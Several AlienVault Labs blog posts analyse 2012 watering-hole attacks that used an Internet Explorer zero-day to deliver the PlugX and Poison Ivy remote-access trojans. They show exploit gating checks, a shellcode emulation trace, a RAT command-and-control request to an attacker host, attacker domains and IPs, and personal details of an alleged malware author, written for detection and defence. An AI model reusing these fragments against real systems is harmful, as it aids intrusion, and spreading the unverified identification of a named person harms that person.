AlienVault R&D Labs Portal. Get the latest news from our research.
Header

At the beginning of the week we started to analyze a water hole campaign that was present on the Council on Foreign Relations (CFR) portal. After studying the attack and the payload and realizing that it was likely using a zeroday exploit against Internet Explorer, we  sent the information to Microsoft Security Response Center (MSRC) that is still investigating the issue. At the same time the issue was communicated to CFR and other third parties that began to work on the issue so we decided to not release public details of this attack.

It seems other researchers didn’t think the same and went public with this (http://freebeacon.com/chinese-hackers-suspected-in-cyber-attack-on-council-on-foreign-relations/) and this led to other companies blogging about this.

Once the attack has been made public we have decided to public some useful details and information that can help companies to detect and respond against this incident.

The malicious code we found in the Council on Foreign Relations portal is a Javascript file that works as follow:

- It first sets a cookie on the victim system to check if the same machine visited the link before:

 

 

 

 

 

If it is not the first visit from that system the exploit won’t trigger:

 

 

 

 

- The next check ensure that the victim is running Internet Explorer 8:

 

 

 

 

- Since the exploit uses Flash to do the Heap Spray and build the shellcode, the code also checks that Adobe Flash is present on the browser:

 

 

 

 

 

 

- Finally, it won’t continue if the browser language is not Chinese, Chinese (Taiwan), Japanese, Korean, or Russian:

 

 

 

The vulnerability present in Internet Explore 8 seems to be a user-after-free. The exploit is able to exploit both Windows XP and Windows 7 bypassing both data execution (DEP) and address space layout randomization (ASLR) protections. The malicious code loads “ms-help:” in order to bypass ASLR on Windows 7 using the technique described here. We won’t release the piece of code that triggers the use-after-free since Microsoft is still investigating the issue and we don’t want public exploits to be released and compromise thousands of users.

If the system is running Windows 7 it will also load Java since it requires the Java libraries to be loaded in order to leverage return-oriented programming (ROP) chains to bypass protections.

 

 

 

 

In the case that Windows XP is used it doesn’t load Java since it is not required to perform the exploitation:

 

 

 

 

Once the Flash file is loaded it will perform the Heap Spray and it will build the shellcode based on the system’s language and operating system supporting the following ones:

(flash.system.Capabilities.language.toLowerCase() == “zh-cn” && this.OS_Version == “windows xp”)
(flash.system.Capabilities.language.toLowerCase() == “zh-tw” && this.OS_Version == “windows xp”)
(flash.system.Capabilities.language.toLowerCase() == “en” && this.OS_Version == “windows xp”)
(flash.system.Capabilities.language.toLowerCase() == “ja” && this.OS_Version == “windows xp”)
(flash.system.Capabilities.language.toLowerCase() == “ko” && this.OS_Version == “windows xp”)
(flash.system.Capabilities.language.toLowerCase() == “ru” && this.OS_Version == “windows xp”)
(this.OS_Version == “windows 7″ && loc6 == “default”)
(this.OS_Version == “windows 7″ && loc6 == “false”)
(this.OS_Version == “windows 7″ && loc6 == “true”)

The shellcode used is very tricky, first the javascript has downloaded a file as seen in the code:

 

 

 

Lets follow the execution of the shellcode:

Using base offset: 0×401000

40122a  LoadLibraryA(shell32)
401246  SHGetSpecialFolderPathA(buf=12ff00, C:\Documents and Settings\user1\Configuraci¾n local\Arch
vos temporales de Internet)
4012a2  GetTempPath(len=100, buf=130000) = 20
4012da  CopyFileA(C:\Documents and Settings\user1\Configuraci¾n local\Archivos temporales de Interne
\Content.IE5\index.dat, C:\DOCUME~1\user1\CONFIG~1\Temp\qwea.dat)
4012fb  CreateFileA(C:\DOCUME~1\user1\CONFIG~1\Temp\qwea.dat) = 7ac
40131b  SetFilePointer(hFile=7ac, dist=50, 0, FILE_BEGIN) = 50
40133c  ReadFile(hFile=7ac, buf=130100, numBytes=80) = 1
40134b  CloseHandle(7ac)
40150b  CreateFileA(C:\Documents and Settings\user1\Configuraci¾n local\Archivos temporales de Inter
et\Content.IE5\x☺?) = 7ac
4013a3  GetFileSize(7ac, 12fe78) = 0
4013ec  CreateFileA(C:\DOCUME~1\user1\CONFIG~1\Temp\flowertep.jpg) = 7a8
401428  ReadFile(hFile=7ac, buf=12f9f4, numBytes=400) = 1
401477   E2EB                            loop 0×401464  step: 1075000
401464   807C0FFF83                      cmp byte [edi+ecx-0x1],0×83
401469   740C                            jz 0×401477
40146b   807C0FFF00                      cmp byte [edi+ecx-0x1],0×0
401470   7405                            jz 0×401477
401477   E2EB                            loop 0×401464  step: 1075005
401464   807C0FFF83                      cmp byte [edi+ecx-0x1],0×83
401469   740C                            jz 0×401477
40146b   807C0FFF00                      cmp byte [edi+ecx-0x1],0×0
401470   7405                            jz 0×401477
401477   E2EB                            loop 0×401464  step: 1075010
401464   807C0FFF83                      cmp byte [edi+ecx-0x1],0×83
401469   740C                            jz 0×401477
40146b   807C0FFF00                      cmp byte [edi+ecx-0x1],0×0
401470   7405                            jz 0×401477
401477   E2EB                            loop 0×401464  step: 1075015
….
….
401466  WriteFile(h=7a8, buf=12f9f4, len=0, lpw=12fe74, lap=0) = 1
401486  CloseHandle(7ac)
401495  CloseHandle(7a8)
4014a3  LoadLibraryA(C:\DOCUME~1\user1\CONFIG~1\Temp\flowertep.jpg)
4014d8   E9C0000000                      jmp 0x40159d  step: 1075965
40159d   8B7650                          mov esi,[esi+0x50]
4015a0   8BBE0C020000                    mov edi,[esi+0x20c]
4015a6   8B9E08020000                    mov ebx,[esi+0x208]
4015ac   8B8610020000                    mov eax,[esi+0x210]
4015b2   B952000000                      mov ecx,0×52  step: 1075970
4015b7   05BC040000                      add eax,0x4bc
4015bc   94                              xchg eax,esp
4015bd   807C240340                      cmp byte [esp+0x3],0×40
4015c2   7203                            jc 0x4015c7
4015c7   33C0                            xor eax,eax  step: 1075975
4015c9   8BF0                            mov esi,eax
4015cb   8BD0                            mov edx,eax
4015cd   8B2C24                          mov ebp,[esp]
4015d0   83C404                          add esp,0×4
4015d3   C20400                          retn 0×4  step: 1075980

Basically the shellcode performs the following:

- It checks the path for the Temporary Internet Explorer Files folder

- It uses index.dat and looks for the path of the file previously downloaded (xsainfo.jpg).

- It creates the file flowertep.jpg

- It reads xsainfo.jpg and performs a XOR “0×83″ operation ignoring the bytes that contain “0×00″ or “0×083″.

- It writes the the result of the XOR operation on flowertep.jpg.

- It uses LoadLibraryA to load flowertep.jpg that contains the malicious DLL payload.

Once the payload is executed it will be implanted on the system and it will try to contact the C&C server using a binary protocol through HTTP:

 

 

 

 

 

We have released an OpenIOC file that contains some indicators of compromise that you can use to detect the attack on your systems:

 

 

 

 

We recommend to use these indicators of compromise to check the presence of the malicious payload in your system. Hopefully Microsoft will release a patch soon but once again we recommend you to:

- Maintain your system up to date

- Not use Flash, Java and other third party applications in your browser if you don’t use it.

Happy hunting!

 

 

 

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn

As we related in our previous blog post the latest Internet Explorer ZeroDay is being used to target specific sectors including the Defence and Industrial ones.

Following our investigations on the servers found serving the Internet Explorer Zeroday and using OSINT, we were able to use the WHOIS mail address and the ip addresses used by the attackers to find fake domains registered by them that contain specific names of companies related with:

- US Aircraft and weapons delivery systems company

- US Defence decoy countermeasures company

- US Aerospace and defence technology company

- US Supplier for repairs of tactical fighters

- Laboratory for energetic systems and materials

- UK Defence contractor

We also found a fake domain of a company that builds turbines and power sources used in several applications including utilities and power plants.

We were able to check that the official website of the company has been compromised as well and it is serving the Internet Explorer ZeroDay to the visitors. They’ve included an iframe to the exploit in the entry page:

 

 

The version of the exploit found seems to be based on the code that we found in the previous servers and also uses the Grumgog.swf Flash file to aid on the exploitation.

Apart from that, it seems the exploit code has evolved and they are now able to infect not only Windows XP but also Windows 7 32 bits running Java6. This is based on the Dodge.html file we found within the exploit code:

 

 

 

 

 

 

 

 

 

 

 

The flash file is also encrypted with DoSWF as the previous versions and licensed to bnetbgm@163.com.fr. Once the vulnerability is triggered, the malicious code downloads the payload from /_include/site.exe.

The payload is obfuscated with the same XOR 70 scheme and once again it contains a version of the PlugX RAT that we found in previous attacks.

The PlugX RAT connect to a C&C server on oXXX.blogdns.com that resolvs to 142.4.46.214. I recommend you to search your logs for connections to that ip address since it will be a symptom of a compromised system.

In the other hand, these Emerging Threats Snort rules will help you catching exploit attempts and related activity:

2015704 – ET CURRENT_EVENTS DoSWF Flash Encryption Banner
2015711 – ET CURRENT_EVENTS Internet Explorer execCommand fuction Use after free Vulnerability 0day
2015712 – ET CURRENT_EVENTS Internet Explorer execCommand fuction Use after free Vulnerability 0day

Happy hunting!

 

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn

Some hours ago my friend PhysicalDrive0 pointed me to a new version of Moh2010.swf that was found in the wild as part of some content exploiting the last Internet Explorer Zeroday.

The exploit code was being served on www.nod32XX.com hosted on:

 

 

 

 

 

 

 

 

 

 

The exploit scheme is the same one, the original vector is hosted under /Exploit.html. It setups the img content and load the Moh2010.swf  file:

 

 

 

 

 

 

 

 

 
 

- The file Moh2010.swf is a bit different than the previous one. It is also encrypted using DoSWF but the encrypted content is different:

 

 

 

 

 

 

 

 

We can also check that DoSWF is licensed to bnetbgm@163.com.fr:

 

 

 
 

Once the SWF file is executed it loads a new iframe:

evalRdocument.body.innerHTML=”x<iframe src=Eternalian.html width=10 height=1></iframe>”

This file is very similar to the Protect.html one that we described in our report yesterday.

 

 

 
 

 

 

It triggers the actual vulnerability. The swf file has sprayed the heap and the shellcode is in charge of downloading, decrypting and executing the payload.

The HTTP headers on the server indicates that the files have been created four days ago meaning that the Zeroday vulnerability wasn’t mainstream yet:

last-modified: Fri, 14 Sep 2012 05:29:51 GMT

Last-Modified: Fri, 14 Sep 2012 05:30:07 GMT

Due to the encryption of the SWF file using DoSWF the easiest way to obtain the original file is attaching to Internet Explorer and dumping the decrypted SWF file:

 

 

 

 

 

 

 

 

 
 

 

On the decrypted SWF file we found a Bytearray:

 

 

 

 

 

 

 

 

 

 
 

If we apply a base64 decode and then we apply a XOR E2 operation we obtain the URL of the malicious payload:

www.nod32XX.com/test.exe (md5: fef2d60ec7ec015f1e119dc469b14f59)

As we can see the content is obfuscated somehow. If we apply a XOR 70 operation on the bytes which value differs from 00 or 70 we obtain the original payload md5: 00fdb6ad7345c0912ea9d2fa4c49950e.

The malicious payload contains several resources that are decompressed (Winrar) during execution:

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RarSFX0\Nv.exe MD5: 09B8B54F78A10C435CD319070AA13C28
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RarSFX0\Nv.mp3 MD5: B29265A6932E1FC4DEE6FA6908413A50
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RarSFX0\NvSmartMax.dll MD5: 0B21678ED8E2B117344CFCEBA8F097DD

The file NvSmartMax.dll is familiar, isn’t it?. We described this technique some days ago. The file Nv.exe algo known as NvSmart.exe is a benign file signed by Nvidia and used widely by Nvidia in several applications.

 

 

 

 

 

 
 

 

Once Nv.exe is executed it loads NvSmartMax.dll that has been modified to execute the binary content present on  Nv.mp3.

 

 

 

 

 

 

 

 

Due to the fact that Nv.exe is digitally signed with a valid certificate it can bypass some of the Operating System restrictions and this technique is used to execute the malicious payload every time the system is booted.

Surprise!. The actual payload present on Nv.mp3 is a version of the PlugX RAT that we uncovered a few days ago. Do you remember WHG, the guy behind it?.

We can find the same debug path that we found in our previous blog post:

d:\work\plug4.0(nvsmart)(sxl)\shellcode\shellcode\XSetting.h

d:\work\plug4.0(nvsmart)(sxl)\shellcode\shellcode\XPlug.h

The RAT connect to the C&C server on exchange.likescandy.com currently pointing to 108.171.193.92:

 

 

 

 
 

 

The RAT uses the well know Update Protocol, example:

POST /update?id=000f6b50 HTTP/1.1
Accept: */*
X-Session: 0
X-Status: 0
X-Size: 61456
X-Sn: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 1.1.4322; .NET CLR1.0.3705)
Host: exchange.likescandy.com
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Summary

We know that the group actively using the PlugX malware also called Flowershow had access to the Internet Explorer ZeroDay days before it was uncovered. Due tot he similarities of the new discovered exploit code and the one discovered some days ago it is very likely that the same group is behind both instances.

They are using the PlugX RAT as well as the NvSmart technique found in previous targeted attacks in the past. In our previous post we were able to identify the author of this RAT and due to the similarities of the attacks it is very likely that the guy is involved somehow in this code.

We’ve identify several ip addresses and domains that are currently used by this gang including:

aol.selfip.com 180.210.204.180
inmailbase.selfip.com 180.210.204.180
exchange.from-sc.com 180.210.204.180
exchange.likescandy.com 180.210.204.180
exchange.is-a-landscaper.com 180.210.204.180
leanov.gicp.net 180.210.204.180
netbastthebash.dnsalias.net 180.210.204.180
wwwh4ck.3322.org 180.210.204.180
gary-freudenberger.homeftp.org 180.210.204.180

aol.selfip.com 142.4.46.203
ns18.doomdns.com 142.4.46.203
exchange.from-sc.com 142.4.46.203
exchange.likescandy.com 142.4.46.203
exchange.is-a-landscaper.com 142.4.46.203

I recommend you to check your logs for connections to those IPs/Domains to identify if your systems are targeted by them.

More information regarding WHG

After some research on Whg we were able to get some new information about him:

- Whg went to Xihua (Sichuan province) University as revealed by other mail adress (whg0001@263.com“) and a personal web account on the university server http://pweb.scit.edu.cn/~whg. You can find  references on Baidu/others where he talks about the university as well as source code written when he was a student.

http://en.wikipedia.org/wiki/Network_Crack_Program_Hacker_(NCPH)_Group

“The Network Crack Program Hacker (NCPH) group is a Chinese hacker group based out of Zigong in Sichuan Province”
“Wicked Rose credits the Chinese hacker WHG, also known as “fig” as one of the developers of the GinWui rootkit. WHG is an expert in malicious code”
“Security researchers discovered the rootkit on 18 May 2006 attackers utilized it in attacks on the US and Japan. Attackers introduced it to the US in an attack against a Department of Defense entity. They used two different versions of the rootkit in attacks during May and June 2006.”
“After winning the military network attack/defense competition, the group obtained a sponsor who paid them 2000 RMB per month. IDefense believes their sponsor is likely the People’s Liberation Army (PLA) but has no definitive evidence to support this claim.”
“Tan Dailin was a graduate student at Sichuan University when he was noticed (for attacking a Japanese site) by the People’s Liberation Army (PLA) in the summer of 2005. He was invited to participate in a PLA-sponsored hacking contest and won. He subsequently participated in a one-month, 16-hour-per-day training program where he and the other students simulated various cyber invasion methods, built dozens of hacking exploits, and developed various hacking tactics and strategies. He was chosen for the Sichuan regional team to compete against teams from Yunnan, Guizhou, Tibet, and Chongqing Military Districts. His team again ranked number one and he won a cash prize of 20,000 RMB.

Then, under the pseudonym Wicked Rose, he formed the Network Crack Program Hacker (NCPH) Groupand recruited other talented hackers from his school. He found a funding source (an unknown benefactor) and started attacking US sites. After an initial round of successful attacks, his funding was tripled. All through 2006, NCPH built sophisticated rootkits and launched a barrage of attacks against multiple US government agencies. By the end of July, 2006, NCPH had created some 35 different attack variants for one MS Office vulnerability. During the testing phase, NCPH used Word document vulnerabilities. They switched to Excel and later to PowerPoint vulnerabilities. The result of all of this activity is that the NCPH group siphoned thousands, if not millions, of unclassified US government documents back to China.”

http://fserror.com/pdf/WickedRose_andNCPH.doc

WHG is not a core member of NCPH but a close affiliate of Wicked Rose.  WHG appears to be central to development of the NCPH rootkit, aka GinWui.  WHG is credited by Wicked Rose as one of the authors of this malicious code.  WHG is an experienced malicious code author with the following contact information:

  • E-mail address: whg@163.com
  • QQ Number: 312016
  • Website: http://cnasm.com
  • Real Name: May be “Zhao Jibing”,赵纪斌.
  • Location: Believed to be employed in the Sichuan province of China.

Warlock: Master of the Arcane game

 After reviewing the files used to exploit the Internet Explorer vulnerability we’ve identified that those guys are fans of a game called “Warlock: Master of the Arcane”. The are using several variables inside the code that refers to Warlock’s Great Mages names. Some examples are:

King Lich V inside the decrypted SWF file

<body onload=’Elpiritster();’onselect=’TestArray()’> on the Eternalian.html file.

I hope you enjoyed this blog post!

 
Update:

During the last few hours we found two more sites that were serving the Zeroday exploit in the past.

The first file we found was a version of Protect.html that was being served in the webpage of one of the main Defense News Portal in India. It contains code to trigger the Internet Explorer vulnerability and it was being served four days ago. We couldn’t retrieve the actual payload and it seems the malicious content is not there anymore.

The second server that was serving the exploit seems to be a fake domain of the 2nd International LED professional Symposium +Expo and it was taken down a few hours ago:

led-professional-symposium.org

Created On:06-Jul-2012 07:04:31 UTC
Last Updated On:18-Sep-2012 17:08:27 UTC
Expiration Date:06-Jul-2013 07:04:31 UTC
Sponsoring Registrar:GoDaddy.com, LLC (R91-LROR)
Status:CLIENT DELETE PROHIBITED
Status:CLIENT RENEW PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Registrant ID:CR118174435
Registrant Name:Gexin sun
Registrant Street1:Yaroslaviv Val Street, Kyiv, 01034,
Registrant City:Kiev
Registrant State/Province:Kiev
Registrant Postal Code:03022
Registrant Country:UA
Registrant Phone:+380.952756104
Registrant Email:kathycat88@gmail.com

The first vector was hosted under led.html:

 
 

 
 
 

 

The code is very similar to the previous ones. Notice that the name of the swf used is different Grumgog.swf. Also notice that Grumgog is also a term used in the “Warlock: Master of the Arcane game”

The flash file is also encrypted with DoSWF using the license key issued to “bnetbgm@163.com.fr” as in the previous version.

Once decrypted we identified that an iframe is loaded (Dodge.html). We couldn’t retrieve the original content.

Once the vulnerability is triggered, the malicious payload is downloaded from update.exe (the file was removed at the time of the analysis).

It seems the guys behind this 0day were targeting specific industries. We’ve seen that they compromised a news site related to the defense industry and they created a fake domain related to LED technologies that can be used to perform spearphishing campaigns to those industries.

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn

New Internet Explorer zero day being exploited in the wild

September 17th, 2012 | Posted by jaime.blasco in APT | Attacks | Exploits - (Comments Off)

After the last zero day exploit on Java we reported some weeks ago it appears that a new 0day has been found in Internet Explorer by the same authors that created the Java one.

Yesterday, Eric Romang reported the findings of a new exploit code on the same server that the Java 0day was found some weeks ago. The new vulnerability appears to affect Internet Explorer 7 and 8 and seems to be exploitable at least on Windows XP.

The exploit code found in the server works as follow:

 

 

 

 

 

 

 

 
 
 
 
 

- The file exploit.html creates the initial vector to exploit the vulnerability and loads the flash file Moh2010.swf.

- Moh2010.swf is a flash file encrypted using DoSWF.  We’ve seen the usage of DoSWF in the exploit code of other targeted attacks such as:

- Several Targeted Attacks exploiting Adobe Flash Player (CVE-2012-0779)

The Flash file is in charge of doing the heap spray. Then it loads Protect.html

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Due to the usage of DoSWF, the malicious code is encrypted. The easiest way to obain the decrypted content is executing the file within Internet Explorer and attaching to the process once the content is decrypted. Then you can obtain the raw content when we can find the following Bytearray declared:

 

 

 
 

 

 
 

 

If we obtain the raw content of the hexadecimal string and then we apply a XOR “E2″ operation we can obtain the following bytes that contains the URL of the malicious payload.


 
 

 

 
 

  

- Protect.html checks if the system is running Internet Explorer version 7 or 8 under Windows XP. If the victim satisfies those conditions, the vulnerability is triggered and the malicious payload is executed.

 

 

 

 

 

 

 

The payload dropped is Poison Ivy as in the previous Java 0day.

https://www.virustotal.com/file/85ad20e922f5e9d497ec06ff8db5af81fbdcbb6e8e63dc426b8faf40d5cc32c6/analysis/

The C&C server configured is ie.aq1.co.uk that is currently resolving to 12.163.32.15:

 

 

 

 
 

We’ve also seen that the domain used in the previous attacks hello.icon.pk is also pointing to the new IP address.

Once executed, the payload creates the file C:\WINDOWS\system32\mspmsnsv.dll and the service WmdmPmSN is configured and started.

Here you have more details on the vulnerability being exploited.

It seems the Metasploit guys are already woking on a Metasploit module so let’s see how fast Microsoft handle the issue.

More info coming soon!

Update:

Metasploit has released a working exploit

You can download the following Yara rule to match both exploit versions.

 

 
 

 
 

 

jaime.blasco

At AlienVault Jaime manages the Lab and runs the Vulnerability Research Team. Prior to working in the AlienVault lab he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. His background stems from a number of years working in vulnerability management, malware analysis and security researching.

More Posts - Website

Follow Me:
TwitterLinkedIn